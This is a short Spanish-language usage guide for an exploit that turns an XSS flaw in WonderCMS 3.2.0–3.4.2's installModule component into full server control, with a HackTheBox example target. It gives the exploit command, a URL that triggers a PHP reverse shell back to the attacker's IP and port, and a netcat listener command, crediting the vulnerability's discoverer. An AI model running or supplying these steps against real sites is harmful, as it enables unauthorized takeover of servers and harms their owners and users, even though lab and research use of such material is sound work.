
Inyección XSS, WonderCMS 3.2.0 -3.4.2
WonderCMS v3.2.0 - v3.4.2 es vulnerable. Los atacantes remotos pueden tomar el control total del servidor mediante una explotación de Cross-Site Scripting (XSS) (solo con fines educativos). Este es el plan:
El exploit abusa del componente installModule de WonderCMS para introducir un script manipulado que ejecuta código arbitrario.
python3 exploit.py <URL> <YOUR_IP> <YOUR_PORT>
Ejemplo
python3 exploit.py http://sea.htb/loginURL 10.10.14.20 1234
Si la reverse shell no se activa automáticamente, simplemente ve a:
http://<TARGET_URL>/themes/revshell-main/rev.php?lhost=<YOUR_IP>&lport=<YOUR_PORT>
Recuerda iniciar un listener con el siguiente comando:
nc -lvp 4444
prodigiousMind por descubrir y reportar la vulnerabilidad https://gist.github.com/prodigiousMind/fc69a79629c4ba9ee88a7ad526043413